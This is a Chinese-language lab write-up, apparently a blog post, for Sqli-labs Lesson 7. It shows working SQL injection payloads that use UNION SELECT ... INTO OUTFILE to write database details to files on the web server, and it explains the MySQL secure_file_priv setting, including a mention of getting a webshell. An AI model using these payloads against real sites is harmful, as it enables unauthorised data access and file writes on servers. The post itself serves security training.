Sqli-labs Less7

Less 7

在这里插入图片描述
提示使用 outfile

1. 判断闭合符号

在这里插入图片描述在这里插入图片描述
使用 ')) 闭合语句

2. 判断显示位

在这里插入图片描述在这里插入图片描述
显示位为3

3. 爆破注入

写入数据库绝对路径
在这里插入图片描述
写入自定义路径

?id=-1')) union select database(),user(),@@datadir into outfile "G:\\PHPStudy\\phpstudy_pro\\WWW\\sqli-labs\\sqli-labs-master\\Less-7\\1.txt" --+

?id=-1')) union select 1,2,table_name from information_schema.tables where table_schema='security' into outfile "G:\\PHPStudy\\phpstudy_pro\\WWW\\sqli-labs\\sqli-labs-master\\Less-7\\1.txt" --+


在这里插入图片描述
在这里插入图片描述

写入文件时报错

  1. 可能是路径不对,可以使用绝对路径
    回到第一关,查看绝对路径
    在这里插入图片描述

  2. 可能是路径没有成功识别,双写斜线或者改变斜线的方向

  3. 可能是文件写入的权限没有打开
    需要mysql数据库开启secure_file_priv写文件权限,否则不能写入文件。
    进入mysql安装目录,找到my.ini 修改里面的secure_file_priv参数。如果发现没有secure_file_priv这个选项,直接再最后添加一个空的即可。
    在这里插入图片描述在这里插入图片描述修改了配置文件要重启服务

<补充>

secure_file_priv参数
有三个值,分别为NULL、/tmp、空,
NULL顾名思义即不允许导入或导出,那么在这种情况下就不能使用sql语句向数据库内写入任何语句,
/tmp的意思是只能在/tmp目录下写入文件,这种情况下就需要考虑写入文件到文件夹后能否在网页上访问连接到这个目录,
如果这个值为空,那么就可以通过构造sql语句向mysql数据库下的任何目录写入文件。

这里还有一个需要了解的点就是在mysql5.5版本之前secure_file_priv这个值是默认为空的,那么我们拿到的webshell如果对应的mysql数据库版本在5.5以下的话操作起来就比较方便,在mysql5.5版本之后secure_file_priv这个值是默认为NULL的,即不能够往数据库内写入文件。

在MYSQL的bin目录下进入cmd,查看MySQL的权限设置

mysql -u root -p

show variables like '%secure%';

在这里插入图片描述

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值